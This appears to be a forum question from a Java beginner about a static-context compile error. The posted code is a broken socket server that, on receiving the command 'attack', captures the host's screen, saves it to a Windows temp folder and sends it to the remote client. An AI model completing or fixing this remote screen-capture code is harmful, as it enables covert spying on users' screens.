Possible Duplicate:
non-static variable cannot be referenced from a static context (java)
i got the above error while compiling the following java code. i am new to this language and i am not so sure about the code.i can clear normal errors but this one i dont understand what it is.please help me
public class Kari_Server
{
ServerSocket server_socket=new ServerSocket(666);
Socket soc=server_socket.accept();
DataInputStream data_in=new DataInputStream(soc.getInputStream());
DataOutputStreamdata_out=newDataOutputStream(soc.getOutputStream());
int a=1;
int i;
public void screen()throws Exception
{
Robot robo=new Robot();
BufferedImage screen_shot=robo.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ImageIO.write(screen_shot,"JPG",new File("C:\\windows\\temp\\screen_shot"+a+".jpg"));
FileInputStream file_in=new FileInputStream("C:\\windows\\temp\\screen_shot"+a+".jpg");
byte[] mybyte=new byte[1024];
try
{
while((i=file_in.read(mybyte))>-1)
data_out.writeUTF(mybyte,0,i);
}
catch(Exception e) {}
}
public static void main(String args[])throws Exception
{
Kari_Server kari=new Kari_Server();
while(true)
{
String s1=" ";
s1=data_in.readUTF();
if(s1=="attack")
kari.screen();
else
System.exit(0);
}
}
}